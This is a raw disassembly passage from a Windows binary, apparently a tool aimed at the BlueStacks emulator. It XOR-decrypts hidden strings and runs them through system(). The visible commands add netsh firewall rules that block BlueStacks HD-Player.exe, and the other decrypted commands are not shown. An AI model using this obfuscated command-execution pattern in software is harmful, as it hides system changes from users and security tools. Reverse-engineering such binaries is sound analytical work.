xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140066f26
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140066f30
lea rdx, [0x1401f71b0]
mov rcx, r10
call fcn.140036640
test al, al
je 0x140067db0
cmp byte [0x1401f71b0], 0
je 0x1400671c6
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirin_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirout_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirin_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirout_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock4__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock4__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
lea rdx, [rbp - 0x40]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069b50
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x140067da1
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140067184
movdqa xmm0, xmmword [str.4444444444444444]
xor edx, edx
movdqa xmm5, xmmword [0x14017aa10]
mov rcx, rax
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov r8d, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x18
jl 0x140067080
jmp 0x140067da1
mov r9, r10
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x140067190
jmp 0x140067da1
lea rdx, [rbp + 0x960]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069b70
mov r10, rax
cmp byte [rax + 0x67], 0
je 0x140067371
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140067331
movdqa xmm0, xmmword [str.4444444444444444]
xor edx, edx
movdqa xmm5, xmmword [0x14017aa10]
mov rcx, rax
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov r8d, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x68
jl 0x140067230
jmp 0x140067371
mov r9, r10
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x68
jl 0x140067340
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x960]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069bd0
mov r10, rax
cmp byte [rax + 0x66], 0
je 0x140067521
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400674e7
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x60
jl 0x1400673e0
cmp r8d, 0x67
jge 0x140067521
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x67
jl 0x1400674f0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x960]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069c40
mov r10, rax
cmp byte [rax + 0x63], 0
je 0x1400676d1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140067697
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x60
jl 0x140067590
cmp r8d, 0x64
jge 0x1400676d1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x64
jl 0x1400676a0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x960]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069c90
mov r10, rax
cmp byte [rax + 0x68], 0
je 0x140067881
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140067847
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x68
jl 0x140067740
cmp r8d, 0x69
jge 0x140067881
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x69
jl 0x140067850
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x960]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069cf0
mov r10, rax
cmp byte [rax + 0x76], 0
je 0x140067a31
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400679f7
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x70
jl 0x1400678f0
cmp r8d, 0x77
jge 0x140067a31
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x77
jl 0x140067a00
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x960]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069cf0
mov r10, rax
cmp byte [rax + 0x76], 0
je 0x140067be1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140067ba7
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x70
jl 0x140067aa0
cmp r8d, 0x77
jge 0x140067be1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x77
jl 0x140067bb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
lea rdx, [rbp - 0x40]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069d60
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x140067da1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140067d67
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x140067c60
cmp r8d, 0x19
jge 0x140067da1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x140067d70
mov rdx, r10
lea rcx, [0x1401c02a0]
call fcn.1400462d0
call fcn.1400381a0
lea rdx, [rbp - 0x18]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069d90
mov r10, rax
cmp byte [rax + 0x13], 0
je 0x140067f51
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140067f19
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140067e12
cmp r8d, 0x14
jge 0x140067f51
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x140067f20
lea rdx, [0x1401f71b1]
mov rcx, r10
call fcn.140036640
test al, al
je 0x140068b40
cmp byte [0x1401f71b1], 0
je 0x140068b40
lea rdx, [rbp - 0x40]
